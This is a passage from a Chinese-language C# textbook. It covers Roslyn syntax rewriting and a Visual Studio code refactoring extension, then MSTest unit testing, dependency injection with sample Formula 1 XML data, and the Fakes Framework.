(_fieldsToRemove.Contains(node.GetText().ToString())) { return null; } return base.VisitFieldDeclaration(node); } } 现在可以开始另一个阶段,在ProcessAsync方法中重写语法树。访问属性重写器后, 开始一个新的编译过程,传递更新的语法树,来调用字段重写器(代码文件 SyntaxRewriter/Program.cs): SyntaxTree tree = CSharpSyntaxTree.ParseText(code); var compilation = CSharpCompilation.Create("Sample") .AddReferences(MetadataReference.CreateFromFile( typeof(object).Assembly.Location)) .AddSyntaxTrees(tree); SemanticModel semanticModel = compilation.GetSemanticModel(tree); var propertyRewriter = new AutoPropertyRewriter(semanticModel); SyntaxNode root = await tree.GetRootAsync().ConfigureAwait(false); SyntaxNode rootWithAutoProperties = propertyRewriter.Visit(root); compilation = compilation.RemoveAllSyntaxTrees() .AddSyntaxTrees(rootWithAutoProperties.SyntaxTree); semanticModel = compilation.GetSemanticModel( rootWithAutoProperties.SyntaxTree); var fieldRewriter = new RemoveBackingFieldRewriter(semanticModel, propertyRewriter.FieldsToRemove.ToArray()); SyntaxNode rootWithFieldsRemoved = fieldRewriter.Visit(rootWithAutoProperties ); WriteLine(rootWithFieldsRemoved); 现在运行程序,简单的完全属性更改为自动实现的属性,删除了属性的支持字段。  注意: 这个程序只是一个示例程序,演示了如何使用.NET编译器平台。这种 转换匹配可能不转换为自动实现属性的完全属性。在自己的代码中使用这个程序之 前,检查转换的结果,可能需要添加更多的检查,来匹配要转换的属性。 18.6 Visual Studio Code重构 下面讨论带有代码转换和语法分析的Visual Studio扩展。使用编辑器在上下文菜单中 选择Quick Actions添加自己的功能,来改变代码。这个集成需要用程序集 Microsoft.CodeAnalysis.Workspaces定义的工作区API,以及本章已经使用的其他API。 前面了解了如何使用CSharpSyntaxRewriter把完全属性改为自动实现的属性。有时需 要相反的过程:将自动实现的属性转换为完全属性。通过INotifyPropertyChanged接口支持 通知的属性是这种场景的有效实现。本节中的示例代码允许在Visual Studio编辑器内选择 一个或多个自动实现的属性,并将之转换为完全属性。 开始使用的项目类型是Code Refactoring (VSIX)项目模板,这个项目的名字是 PropertyCode-Refactoring。该项目模板创建了两个项目:创建VSIX包的项目 PropertyCodeRefactoring.Vsix,和可移植的库ProjectCodeRefactoring。 18.6.1 VSIX包 为了与Visual Studio集成,需要创建一个VSIX包。自Visual Studio 2010以来,Visual Studio通过VSIX包形式的插件提供了集成。AVSIX是一个zip文件,包含插件的二进制文 件、描述插件的清单文件和图片。安装插件后,它们就位于目 录%LocalAppData%\Microsoft\VisualStudio\14.0\Extensions\<Extension>中。  注意: Visual Studio插件基于Managed Extensibility Framework。这个框架参 见第26章。 选择VSIX项目的Project Properties, Debug设置(见图18-5)配置为用选项/ rootsuffix Roslyn启动Visual Studio调试。如果启动Visual Studio调试的另一个实例,VSIX项目就允 许单步执行重构的源代码,同时在第二个Visual Studio实例中使用源代码编辑器。 图18-5 VSIX文件的另一个重要设置是Project Properties的VSIX选项(见图18-6)。要调试 VSIX文件,需要创建一个zip文件,从第二个Visual Studio实例中加载它。如果选择Create VSIX Container during build和Deploy VSIX content to experimental instance for debugging选 项,就不需要在每次完成新的构建时,手动创建和部署VSIX包。相反,会自动创建一个 新的构建,用于调试。 图18-6 现在需要对VSIX项目执行更多的处理。该项目包含文件 source.extension.vsixmanifest。这个文件描述了插件,需要配置。在Visual Studio中打开这 个文件时,也会打开一个特别的设计器,来配置Metadata、Install Targets、Assets和 Dependencies。Metadata配置如图18-7所示。这些设置定义了应显示的描述、许可、发行 说明和图片。配置Install Targets时,定义Visual Studio版本和应该可用的插件。在Visual Studio 2015中,可以定义只用于企业版或专业版和社区版的插件。还可以定义应该可用于 Visual Studio shell的插件。Visual Studio shell是用于微软或第三方的多个项目。 图18-7 Assets设置定义VSIX项目应该包含什么文件。如果添加图片与包含插件描述的自述文 件,就需要将这些文件添加到Assets。在任何情况下,需要添加到Assets的一个文件是从 其他项目中创建的二进制文件(见图18-8)。为了构建代码重构提供程序,需要把类型设 置为Microsoft.VisualStudio. MefComponent。设计器的最后设置定义了在安装插件之前, 需要安装在目标系统中的依赖项,例如.NET Framework 4.6。 图18-8 18.6.2 代码重构提供程序 现在,已经配置了VSIX包,下面看看源代码。生成的类 PropertyCodeRefactoringProvider利用了特性ExportCodeRefactoringProvider。这个特性定义 可以包含在Visual Studio中的MEF部分。基类CodeRefactoringProvider是工作区API在程序 集Microsoft. CodeAnalysis.Workspaces中定义的一个类(代码文件PropertyCodeRefactoring / CodeRefactoringProvider.cs): [ExportCodeRefactoringProvider(LanguageNames.CSharp, Name = nameof(PropertyCodeRefactoringProvider)), Shared] internal class PropertyCodeRefactoringProvider: CodeRefactoringProvider { // etc. } 基类CodeRefactoringProvider定义了ComputeRefactoringsAsync()方法,当代码编辑 器的用户在上下文菜单中启动Quick Actions时,会调用这个方法。根据用户的选择,该方 法的实现代码需要决定插件是否应该提供一个选项,以允许更改代码。参数 CodeRefactoringContext允许通过Span属性访问用户的选择,通过Document属性访问完整 的文档。在实现代码中,检索文档的根节点和选中的节点: public sealed override async Task ComputeRefactoringsAsync( CodeRefactoringContext context) { SyntaxNode root = await context.Document.GetSyntaxRootAsync( context.CancellationToken).ConfigureAwait(false); SyntaxNode selectedNode = root.FindNode(context.Span); // etc. } 从Document属性中返回的Document类允许访问语法根、树节点 (GetSyntaxRootAsync, GetSyntaxTreeAsync)以及语义模型 (GetSemanticModelAsync)。还可以访问所有的文本变更(GetTextChangesAsync)。 只有选中一个自动实现的属性,代码重构提供程序才能继续工作。这就是为什么接下 来检查selectedNode是否是PropertyDeclarationSyntax类型的原因。检查 PropertyDeclarationSyntax是不够的,因为代码重构应该只用于自动实现的属性。这是调用 辅助方法IsAutoImplementedProperty来检查的原因: public sealed override async Task ComputeRefactoringsAsync( CodeRefactoringContext context) { // etc. var propertyDecl = selectedNode as PropertyDeclarationSyntax; if (propertyDecl == null || ! IsAutoImplementedProperty(propertyDecl)) { return; } // etc. } 辅助方法IsAutoImplementedProperty的实现代码验证get和set访问器是否存在,这些访 问器体是否为空: private bool IsAutoImplementedProperty(PropertyDeclarationSyntax propertyDecl ) { SyntaxList<AccessorDeclarationSyntax> accessors = propertyDecl.AccessorList.Accessors; AccessorDeclarationSyntax getter = accessors.FirstOrDefault( ad => ad.Kind() == SyntaxKind.GetAccessorDeclaration); AccessorDeclarationSyntax setter = accessors.FirstOrDefault( ad => ad.Kind() == SyntaxKind.SetAccessorDeclaration); if (getter == null || setter == null) return false; return getter.Body == null && setter.Body == null; } 如果选中的代码包含一个自动实现的属性,就创建一个CodeAction,这个动作注册为 代码重构。调用静态的Create方法会创建一个CodeAction。第一个参数定义了显示给用户 的标题。用户通过这个名字可以应用代码操作。第二个参数是一个委托,它接收 CancellationToken,并返回Task<Document>。当用户取消动作时,CancellationToken提供 请求取消的信息,任务可以停止。需要返回的Document包含代码重构操作的变化。委托 实现为一个lambda表达式,来调用方法ChangeToFullPropertyAsync。 public sealed override async Task ComputeRefactoringsAsync( CodeRefactoringContext context) { // etc. var action = CodeAction.Create("Apply full property", cancellationToken => ChangeToFullPropertyAsync(context.Document, propertyDecl, cancellationToken)); context.RegisterRefactoring(action); }  注意: 取消令牌参见第15章。 方法ChangeToFullPropertyAsync检索语义模型和文档中的根节点,它用类 CodeGeneration调用静态方法ImplementFullProperty: private async Task<Document> ChangeToFullPropertyAsync( Document document, PropertyDeclarationSyntax propertyDecl, CancellationToken cancellationToken) { SemanticModel model = await document.GetSemanticModelAsync(cancellationToken); var root = await document.GetSyntaxRootAsync( cancellationToken) as CompilationUnitSyntax; document = document.WithSyntaxRoot( CodeGeneration.ImplementFullProperty(root, model, propertyDecl, document.Project.Solution.Workspace)); return document; } 代码生成的类需要把自动实现的属性改为完全属性,并添加一个字段作为类的成员, 用于属性的实现。为此,方法ImplementFullProperty()首先检索创建字段和属性所需的 信息:通过访问属性中要发生变化的祖先元素来检索类型声明,通过语义模型检索属性的 类型符号。把属性名的第一个字母改为小写,在它前面加上下划线,就创建了支持字段的 名称。之后,通过调用ReplaceNodes方法,用新版本替换节点propertyDecl和typeDecl。 ReplaceNodes方法参见“代码转换”一节。 这是ReplaceNodes()方法的一个有趣用法:替换不同类型的节点。在这里, PropertyDeclaration-Syntax和TypeDeclarationSyntax节点需要替换。 PropertyDeclarationSyntax节点代表用完全属性语法更新的属性。TypeDeclarationSyntax节 点需要更新,以添加可变的字段。由ReplaceNodes调用的方法(由委托参数定义)接收原 始节点和更新的节点,有很大的帮助。记住,用于.NET编译器平台的树是不可变的。第 一个调用的方法改变一个节点,第二个方法调用需要提取第一个方法的更新,创建自己的 结果。通过调用方法ExpandProperty()和ExpandType(),给属性和类型节点做出必要 的改变(代码文件PropertyCodeRefactoring / CodeGeneration.cs): internal static class CodeGeneration { internal static CompilationUnitSyntax ImplementFullProperty CompilationUnitSyntax root, SemanticModel model, PropertyDeclarationSyntax propertyDecl, Workspace workspace) { TypeDeclarationSyntax typeDecl = propertyDecl.FirstAncestorOrSelf<TypeDeclarationSyntax>(); string propertyName = propertyDecl.Identifier.ValueText; string backingFieldName = $"_{char.ToLower(propertyName[0])}{propertyName.Substring(1)}"; ITypeSymbol propertyTypeSymbol = model.GetDeclaredSymbol(propertyDecl).Type; root = root.ReplaceNodes( new SyntaxNode[] { propertyDecl, typeDecl }, (original, updated) => original.IsKind(SyntaxKind.PropertyDeclaration) ? ExpandProperty((PropertyDeclarationSyntax)original, (PropertyDeclarationSyntax)updated, backingFieldName) as SyntaxNode : ExpandType((TypeDeclarationSyntax)original, (TypeDeclarationSyntax)updated, propertyTypeSymbol, backingFieldName, model, workspace) as SyntaxNode ); return root; } // etc. } ExpandProperty()方法改变get和set访问器时,使用WithAccessorList方法,通过花 括号(SyntaxFactory.Block)传递新创建的访问器方法,再添加语句,设置和获取块内的 值。返回的属性声明用属性已更新的内容来注释。这个注释可用于将字段添加到类型中, 把字段放在属性的前面: private static SyntaxAnnotation UpdatedPropertyAnnotation = new SyntaxAnnotation("UpdatedProperty"); private static PropertyDeclarationSyntax ExpandProperty( PropertyDeclarationSyntax original, PropertyDeclarationSyntax updated, string backingFieldName) { AccessorDeclarationSyntax getter = original.AccessorList.Accessors.FirstOrDefault( ad => ad.Kind() == SyntaxKind.GetAccessorDeclaration); var returnFieldStatement = SyntaxFactory.ParseStatement($"return {backingFieldName}; "); getter = getter .WithBody(SyntaxFactory.Block( SyntaxFactory.SingletonList(returnFieldStatement))) .WithSemicolonToken(default(SyntaxToken)); AccessorDeclarationSyntax setter = original.AccessorList.Accessors.FirstOrDefault( ad => ad.Kind() == SyntaxKind.SetAccessorDeclaration); var setPropertyStatement = SyntaxFactory.ParseStatement( $"{backingFieldName} = value; "); setter = setter.WithBody(SyntaxFactory.Block(SyntaxFactory.SingletonList( setPropertyStatement))) .WithSemicolonToken(default(SyntaxToken)); updated = updated .WithAccessorList(SyntaxFactory.AccessorList( SyntaxFactory.List(new[] { getter, setter }))) .WithAdditionalAnnotations(Formatter.Annotation) .WithAdditionalAnnotations(UpdatedPropertyAnnotation); return updated; } 添加完全属性语法之后,添加字段。前面所示的方法ImplementFullProperty调用 ExpandProperty()和ExpandType()方法。ExpandType()在TypeDeclarationSyntax对 象上调用方法WithBackingField(): private static TypeDeclarationSyntax ExpandType( TypeDeclarationSyntax original, TypeDeclarationSyntax updated, ITypeSymbol typeSymbol, string backingFieldName, SemanticModel model, Workspace workspace) { return updated.WithBackingField(typeSymbol, backingFieldName, model, workspace); } WithBackingField()是一个扩展方法,它首先查找属性上的注释,使用方法 InsertNodesBefore将新创建的字段定位在属性之前。这个字段本身是通过调用辅助方法 GenerateBackingField创建的: private static TypeDeclarationSyntax WithBackingField( this TypeDeclarationSyntax node, ITypeSymbol typeSymbol, string backingFieldName, SemanticModel model, Workspace workspace) { PropertyDeclarationSyntax property = node.ChildNodes().Where(n => n.HasAnnotation(UpdatedPropertyAnnotation)) .FirstOrDefault() as PropertyDeclarationSyntax; if (property == null) { return null; } MemberDeclarationSyntax fieldDecl = GenerateBackingField(typeSymbol, backingFieldName, workspace); node = node.InsertNodesBefore(property, new[] { fieldDecl }); return node; } GenerateBackingField()方法的实现代码使用ParseMember辅助方法,把术语 _field_Type_作为类型的占位符,创建了一个FieldDeclarationSyntax节点。在这个字段声明 中,类型被SyntaxNode类型替换,从语法生成器中返回: private static MemberDeclarationSyntax GenerateBackingField( ITypeSymbol typeSymbol, string backingFieldName, Workspace workspace) { var generator = SyntaxGenerator.GetGenerator( workspace, LanguageNames.CSharp); SyntaxNode type = generator.TypeExpression(typeSymbol); FieldDeclarationSyntax fieldDecl = ParseMember($"private _field_Type_ {backingFieldName}; ") as FieldDeclarationSyntax; return fieldDecl.ReplaceNode(fieldDecl.Declaration.Type, type.WithAdditionalAnnotations(Simplifier.SpecialTypeAnnotation)); } 辅助方法ParseMember用SyntaxFactory建立一个编译单元,并返回传递给方法的成员 的语法节点: private static MemberDeclarationSyntax ParseMember(string member) { MemberDeclarationSyntax decl = (SyntaxFactory.ParseCompilationUnit($"class x {{\r\n{member}\r\n}}") .Members[0] as ClassDeclarationSyntax).Members[0]; return decl.WithAdditionalAnnotations(Formatter.Annotation); } 有了这一切,就可以调试VSIX项目,进而启动另一个Visual Studio实例。在新的 Visual Studio实例中,可以打开项目或创建新项目,定义自动实现的属性,选择它,再选 择Quick Action上下文菜单。这会调用代码重构提供程序,显示可以使用的、生成的结 果。使用第二个Visual Studio实例进行编辑时,可以使用第一个实例,通过代码重构提供 程序调试。 18.7 小结 本章介绍了.NET编译器平台。只用一个章节介绍这一技术并不容易,因为可以用几 本书的篇幅介绍它。然而,本章讨论了这个技术的所有重要部分,涵盖了不同的方面,例 如使用LINQ查询从源代码中查询节点,语法遍历器等。语义分析用于检索符号信息。对 于代码转换,讨论了如何使用WithXX和ReplaceXX方法,基于现有的语法树,创建新的 语法树。本章的最后部分展示了如何使用前面的所有方面与工作区API,来创建在Visual Studio中使用的代码重构提供程序。 下一章讨论Visual Studio的另一个重要方面,创建不同的测试,来检查源代码的功 能。 第19章 测试 本章要点 ● 带MSTest和xUnit的单元测试 ● 使用Fakes Framework ● 用IntelliTest创建测试 ● 使用xUnit和.NET Core ● 编码的UI测试 ● Web测试 本章源代码下载: 本章源代码的下载地址为www.wrox.com/go/professionalcsharp6。从该网页的 Download Code选项卡中下载Chapter 19 Code后,本章的代码分为如下主要示例: ● Unit Testing Sample ● MVVM Sample ● Web Application Sample  注意: 本章的UI测试和Web测试需要Visual Studio企业版。单元测试也可以 用Visual Studio专业版完成。 19.1 概述 应用程序开发变得敏捷无比。使用瀑布过程模型来分析需求时,设计应用程序架构, 实现它,两三年后发现所建立的应用程序没有满足用户的需求,这种情形并不常见。相 反,软件开发变得敏捷无比,发布周期更短,最终用户在开发早期就参与进来。看看 Windows 10:数以百万计的Windows内部人士给早期的构建版本提供反馈,每隔几个月甚 至几周就更新一次。在Windows 10的Beta程序中,Windows内部人士曾经在一周内收到 Windows 10的3个构建版本。Windows 10是一个巨大的程序,但微软设法在很大程度上改 变开发方式。同样,如果参与.NET Core开源项目,每晚都会收到NuGet包的构建版本。 如果喜欢冒险,甚至可以写一本关于未来技术的书。 如此快速和持续的改变——每晚都创建的构建版本——等不及内部人士或最终用户发 现所有问题。Windows 10每隔几分钟就崩溃一次,Windows 10内部人士就不会满意。修 改方法的实现代码的频率是多少,才能发现似乎不相关的代码不工作了?为了试图避免这 样的问题,不改变方法,而是创建一个新的方法,复制原来的代码,并进行必要的修改, 但这将极难维护。在一个地方修复方法后,太容易忘记修改其他方法中重复的代码。而 Visual Studio 2015可以找出代码重复。 为了避免这样的问题,可以给方法创建测试程序,让测试程序自动运行,签入源代码 或在每晚的构建过程中检查。从一开始就创建测试程序,会在开始时增加项目的成本,但 随着项目的继续进行和维护期间,创建测试程序有其优点,降低了项目的整体成本。 本章解释了各种各样的测试,从测试小功能的单元测试开始。这些测试应该验证应用 程序中可测试的最小部分的功能,例如方法。传入不同的输入值时,单元测试应该检查方 法的所有可能路径。Visual Studio 2015为创建单元测试提供了一个很好的增强: IntelliTest,参见本章的内容。Fakes Framework 允许隔离方法外部的依赖关系。当然,不 是使用“垫片”,而是最好使用依赖注入,但这不能在所有的地方使用。 MSTest是Visual Studio用于创建单元测试的一部分。建立.NET Core时,MSTest不支 持为.NET Core库和应用程序创建测试(如今MSTest支持.NET Core库)。这就是为什么微 软本身使用xUnit为.NET Core创建单元测试的原因。本章介绍微软的测试框架MSTest和 xUnit。 使用Web测试,可以测试Web应用程序,发送HTTP请求,模拟一群用户。创建这些 类型的测试,允许模拟不同的用户负载,允许进行压力测试。可以使用测试控制器,来创 建更高的负载,模拟成千上万的用户,从而也知道需要什么基础设施,应用程序是否可伸 缩。 本章介绍的最后一个测试特性是UI测试。可以为基于XAML的应用程序创建自动化测 试。当然,更容易为视图模型创建单元测试,用ASP.NET创建视图组件,但本章不可能 涉及测试的方方面面。可以自动化UI测试。想象一下数百种不同的Android移动设备。你 会购买每一个型号,在每个设备上手动测试应用程序吗?最好使用云服务,在确实要安装 应用程序的、数以百计的设备上,发送要测试的应用程序。不要以为人们会在数以百计的 设备上启动云中的应用程序,并与应用程序进行可能的交互,这需要使用UI测试自动完 成。 首先,创建单元测试。 19.2 使用MSTest进行单元测试 编写单元测试有助于代码维护。例如,在更新代码时,想要确信更新不会破坏其他代 码。创建自动单元测试可以帮助确保修改代码后,所有功能得以保留。Visual Studio 2015 提供了一个健壮的单元测试框架,还可以在Visual Studio内使用其他测试框架。 19.2.1 使用MSTest创建单元测试 下面的示例测试类库UnitTestingSamples中一个非常简单的方法。这是一个.NET 4.6类 库,因为如前所述,目前.NET Core不用于MSTest环境。当然,可以创建其他基于 MSBuild的项目。类DeepThought包含 TheAnswerToTheUltimateQuestionOfLifeTheUniverseAndEverything方法,该方法返回42作 为结果(代码文件UnitTestingSamples / DeepThought.cs): public class DeepThought { public int TheAnswerOfTheUltimateQuestionOfLifeTheUniverseAndEverything() = > 42; } 为了确保没有人改变返回错误结果的方法,创建一个单元测试。要创建单元测试,使 用Visual C#项目组中可用的Unit Test Project模板。开始创建单元测试项目的简单方法是选 择一个方法(例如方法 TheAnswerToTheUltimateQuestionOfLifeTheUniverseAndEverything),右击,打开上下文 菜单,或在触摸屏上使用双指单触摸手势,或单击键盘上的上下文菜单键,或者(如果键 盘没有上下文菜单键,就按Shift + F10,或如果功能键配置为二级键,就按FN +Shift+ F10),并选择Create Unit Tests。弹出的对话框如图19-1所示,在其中可以选择一个已安 装的测试框架,可以决定创建一个新的测试项目,或选择现有的一个。此外,可以指定不 同的名称,如测试项目的名称、名称空间的名字、文件名、类名和方法名。默认情况下, Tests或Test添加为后缀,但可以改变它。从这个对话框中,可以安装额外的测试框架。 图19-1 单元测试类标有TestClass特性,测试方法标有TestMethod特性。该实现方式创建 DeepThought的一个实例,并调用要测试的方法 TheAnswerToTheUltimateQuestionOfLifeTheUniverseAnd-Everything。返回值使用 Assert.AreEqual与42进行比较。如果Assert.AreEqual失败,测试就失败(代码文件 UnitTestingSamplesTest / DeepThoughtTests.cs): [TestClass] public class TestProgram { [TestMethod] public void TestTheAnswerToTheUltimateQuestionOfLifeTheUniverseAndEverything() { // arrange int expected = 42; var dt = new DeepThought(); // act int actual = dt.TheAnswerToTheUltimateQuestionOfLifeTheUniverseAndEverything(); // assert Assert.AreEqual(expected, actual); } } 单元测试是由3个A定义:Arrange、Act和Assert。首先,一切都安排好了,单元测试 可以开始了。在安排阶段,在第一个测试中,给变量expected分配调用要测试的方法时预 期的值,调用DeepThought类的一个实例。现在准备好测试功能了。在行动阶段,调用方 法。在完成行动阶段后,需要验证结果是否与预期相同。这在断言阶段使用Assert类的方 法来完成。 Assert类是Microsoft.VisualStudio.TestTools.UnitTesting名称空间中MSTest框架的一部 分。这个类提供了一些可用于单元测试的静态方法。默认情况下,Assert.Fail方法添加到 自动创建的单元测试中,提供测试还没有实现的信息。其他一些方法有:AreNotEqual验 证两个对象是否不同;IsFalse和IsTrue验证布尔结果;IsNull和IsNotNull验证空结果; IsInstanceOfType和IsNotInstanceOfType验证传入的类型。 19.2.2 运行单元测试 使用Test Explorer(通过Test | Windows | Test Explorer打开),可以在解决方案中运行 测试(见图19-2)。 图19-2 图19-3显示了一个失败的测试,列出了失败的所有细节。 图19-3 当然,这只是一个很简单的场景,测试通常是没有这么简单的。例如,方法可以抛出 异常,用其他的路径返回其他值,或者使用了不应该在单个单元中测试的代码(例如数据 库访问代码或者调用的服务)。接下来就看一个比较复杂的单元测试场景。 下面的类StringSample定义了一个带字符串参数的构造函数、方法GetStringDemo和一 个字段。方法GetStringDemo根据first和second参数使用不同的路径,并返回一个从这些参 数得到的字符串(代码文件UnitTestingSamples /StringSample.cs): public class StringSample { public StringSample(string init) { if (init == null) throw new ArgumentNullException(nameof(init)); _init = init; } private string _init; public string GetStringDemo(string first, string second) { if (first == null) { throw new ArgumentNullException(nameof(first)); } if (string.IsNullOrEmpty(first)) { throw new ArgumentException("empty string is not allowed", first); } if (second == null) { throw new ArgumentNullException(nameof(second)); } if (second.Length > first.Length) { throw new ArgumentOutOfRangeException(nameof(second), "must be shorter than first"); } int startIndex = first.IndexOf(second); if (startIndex < 0) { return $"{second} not found in {first}"; } else if (startIndex < 5) { string result = first.Remove(startIndex, second.Length); return $"removed {second} from {first}: {result}"; } else { return _init.ToUpperInvariant(); } } }  注意: 为复杂的方法编写单元测试时,有时单元测试也会变得复杂起来。这 有助于调试单元测试,找出当前执行的操作。调试单元测试很简单:给单元测试代码 添加断点,并从Test Explorer 的上下文菜单中选择Debug Selected Tests (参见图19- 4)。 图19-4 单元测试应该测试每个可能的执行路径,并检查异常,如下所述。 19.2.3 使用MSTest预期异常 以null为参数调用StringSample类的构造函数和GetStringDemo方法时,可以预计会发 生ArgumentNullException异常。在测试代码中很容易测试这一点,只需要像下面的示例那 样对测试方法应用ExpectedException特性。这样一来,测试方法将成功地捕捉到异常(代 码文件UnitTesting-SamplesTests/StringSampleTests.cs): [TestMethod] [ExpectedException(typeof(ArgumentNullException))] public void TestStringSampleNull() { var sample = new StringSample(null); } 对于GetStringDemo方法抛出的异常,可以采取类似的处理。 19.2.4 测试全部代码路径 为了测试全部代码路径,可以创建多个测试,每个测试针对一条代码路径。下面的测 试示例将字符串a和b传递给GetStringDemo方法。因为第二个字符串没有包含在第一个字 符串内,所以if语句的第一个路径生效。结果将被相应地检查(代码文件 UnitTestingSamplesTests/StringSampleTests.cs): [TestMethod] public void GetStringDemoAB() { string expected = "b not found in a"; var sample = new StringSample(String.Empty); string actual = sample.GetStringDemo("a", "b"); Assert.AreEqual(expected, actual); } 下一个测试方法验证GetStringDemo方法的另一个路径。在这个示例中,第二个字符 串包含在第一个字符串内,并且索引小于5,所以将执行if语句的第二个代码块: [TestMethod] public void GetStringDemoABCDBC() { string expected = "removed bc from abcd: ad"; var sample = new StringSample(String.Empty); string actual = sample.GetStringDemo("abcd", "bc"); Assert.AreEqual(expected, actual); } 其他所有代码路径都可以以类似的方式测试。为了查看单元测试覆盖了哪些代码,以 及还缺少什么代码,可以打开Code Coverage Results窗口,如图19-5所示。在Test | Analyze Code Coverage菜单中打开Code Coverage Results窗口。 图19-5 19.2.5 外部依赖 许多方法都依赖于不受应用程序本身控制的某些功能,例如调用Web服务或者访问数 据库。在测试外部资源的可用性时,可能服务或数据库并不可用。更糟的是,数据库和服 务可能在不同的时间返回不同的数据,这就很难与预期的数据进行比较。在单元测试中, 必须排除这种情况。 下面的示例依赖于外部的某些功能。方法ChampionsByCountry()访问一个Web服务 器上的XML文件,该文件以Firstname、Lastname、Wins和Country元素的形式列出了一级 方程式世界冠军。这个列表按国家筛选,并使用Wins元素的值按数字顺序排序。返回的 数据是一个XElement,其中包含了转换后的XML代码(代码文件 UnitTestingSamples/Formula1.cs): public XElement ChampionsByCountry(string country) { XElement champions = XElement.Load(F1Addresses.RacersUrl); var q = from r in champions.Elements("Racer") where r.Element("Country").Value == country orderby int.Parse(r.Element("Wins").Value) descending select new XElement("Racer", new XAttribute("Name", r.Element("Firstname").Value + " " + r.Element("Lastname").Value), new XAttribute("Country", r.Element("Country").Value), new XAttribute("Wins", r.Element("Wins").Value)); return new XElement("Racers", q.ToArray()); }  注意: 关于LINQ to XML的更多信息,请参考第27章。 到XML文件的链接由F1Addresses类定义(代码文件UnitTestingSamples / F1Addresses.cs): public class F1Addresses { public const string RacersUrl = "http://www.cninnovation.com/downloads/Racers.xml"; } 应该为ChampionsByCountry方法创建一个单元测试。测试不应依赖于服务器上的数据 源。一方面,服务器可能不可用。另一方面,服务器上的数据可能随时间发生改变,返回 新的冠军和其他值。正确的测试应该确保按预期方式完成筛选,并以正确的顺序返回正确 筛选后的列表。 创建独立于数据源的单元测试的一种方法是使用依赖注入模式,重构 ChampionsByCountry方法的实现代码。在这里,创建一个返回XElement的工厂,来取代 XElement.Load方法。IChampionsLoader接口是在ChampionsByCountry方法中使用的唯一 外部要求。IChampionsLoader接口定义了方法LoadChampions,可以代替上述方法(代码 文件UnitTestingSamples /IChampionsLoader.cs): public interface IChampionsLoader { XElement LoadChampions(); } 类ChampionsLoader使用XElement.Load方法实现了接口IChampionsLoader,该方法由 ChampionsByCountry方法预先使用(代码文件UnitTestingSamples / ChampionsLoader.cs): public class ChampionsLoader: IChampionsLoader { public XElement LoadChampions() => XElement.Load(F1Addresses.RacersUrl); } 现在就能够修改ChampionsByCountry()方法的实现,使用接口而不是直接使用 XElement.Load方法()来加载冠军。新的方法命名为ChampionsByCountry2,以便有两个 版本可用于单元测试。IChampionsLoader传递给类Formula1的构造函数,然后 ChampionsByCountry2()将使用这个加载器(代码文件 UnitTestingSamples/Formula1.cs): public class Formula1 { private IChampionsLoader _loader; public Formula1(IChampionsLoader loader) { _loader = loader; } public XElement ChampionsByCountry2(string country) { var q = from r in _loader.LoadChampions().Elements("Racer") where r.Element("Country").Value == country orderby int.Parse(r.Element("Wins").Value) descending select new XElement("Racer", new XAttribute("Name", r.Element("Firstname").Value + " " + r.Element("Lastname").Value), new XAttribute("Country", r.Element("Country").Value), new XAttribute("Wins", r.Element("Wins").Value)); return new XElement("Racers", q.ToArray()); } } 在典型实现中,会把一个ChampionsLoader实例传递给Formula1构造函数,以从服务 器检索赛车手。 创建单元测试时,可以实现一个自定义方法来返回一级方程式冠军,如方法 Formula1SampleData()所示(代码文件UnitTestingSamplesTests/ Formula1Tests.cs): internal static string Formula1SampleData() { return @" <Racers> <Racer> <Firstname>Nelson</Firstname> <Lastname>Piquet</Lastname> <Country>Brazil</Country> <Starts>204</Starts> <Wins>23</Wins> </Racer> <Racer> <Firstname>Ayrton</Firstname> <Lastname>Senna</Lastname> <Country>Brazil</Country> <Starts>161</Starts> <Wins>41</Wins> </Racer> <Racer> <Firstname>Nigel</Firstname> <Lastname>Mansell</Lastname> <Country>England</Country> <Starts>187</Starts> <Wins>31</Wins> </Racer> //... more sample data 方法Formula1VerificationData返回符合预期结果的样品测试数据: internal static XElement Formula1VerificationData() { return XElement.Parse(@" <Racers> <Racer Name=""Mika Hakkinen"" Country=""Finland"" Wins=""20"" /> <Racer Name=""Kimi Raikkonen"" Country=""Finland"" Wins=""18"" /> </Racers>"); } 测试数据的加载器实现了与ChampionsLoader类相同的接口:IChampionsLoader。这 个加载器仅使用样本数据,而不访问Web服务器: public class F1TestLoader: IChampionsLoader { public XElement LoadChampions() => XElement.Parse(Formula1SampleData()); } 现在,很容易创建一个使用样本数据的单元测试: [TestMethod] public void TestChampionsByCountry2() { Formula1 f1 = new Formula1(new F1TestLoader()); XElement actual = f1.ChampionsByCountry2("Finland"); Assert.AreEqual(Formula1VerificationData().ToString(), actual.ToString()); } 当然,真正的测试不应该只覆盖传递Finland作为一个字符串并在测试数据中返回两 个冠军这样一种情况。还应该针对其他情况编写测试,例如传递没有匹配结果的字符串, 返回两个以上的冠军的情况,可能还包括数字排序顺序与字母数字排序顺序不同的情况。 19.2.6 Fakes Framework 有时无法重构要测试的方法,使其独立于数据源,例如使用不能改变的旧代码。这 时,Fakes Framework能够提供很大的帮助。Fakes Framework是Visual Studio Enterprise Edition提供的一个框架。 使用这个框架,可以测试ChampionsByCountry方法,而没有任何改变,仍然可以把服 务器排除在单元测试之外。记住,这个方法的实现代码使用XElement.Load,直接访问 Web服务器上的文件。Fakes Framework允许只针对测试用例改变ChampionsByCountry方 法的实现代码,用其他代码代替XElement.Load方法(代码文件UnitTestingSamples / Formula1.cs): public XElement ChampionsByCountry(string country) { XElement champions = XElement.Load(F1Addresses.RacersUrl); var q = from r in champions.Elements("Racer") where r.Element("Country").Value == country orderby int.Parse(r.Element("Wins").Value) descending select new XElement("Racer", new XAttribute("Name", r.Element("Firstname").Value + " " + r.Element("Lastname").Value), new XAttribute("Country", r.Element("Country").Value), new XAttribute("Wins", r.Element("Wins").Value)); return new XElement("Racers", q.ToArray()); } 为了在单元测试项目的引用中使用Fakes Framework,选择包括XElement类的程序 集。XElement类在System.Xml.Linq程序集中。当选择System.Xml.Linq程序集,打开上下 文菜单时,可看到Add Fakes Assembly菜单项。选择该菜单项将创建 System.Xml.Linq.4.0.0.0.Fakes程序集, 它在System.Xml.Linq.Fakes名称空间中包含一些填充码类。System.Xml.Linq程序集中 的所有类型在这个名称空间中都有填充码版本,例如,XAttribute有ShimXAttribute, XDocument有ShimXDocument。 本例中只需要使用ShimXElement。对于XElement类中的每个公有的重载成员, ShimXElement中都包含对应的成员。ShimXElement重载了XElement的Load()方法,使 其可以接收String、Stream、TextReader和XMLReader类型作为参数,另外还提供了可接受 第二个参数LoadOptions的重载版本。具体来说,ShimXElement定义了LoadString()、 LoadStream()、LoadTextReader()、LoadXmlReader()成员方法,以及还可以接受 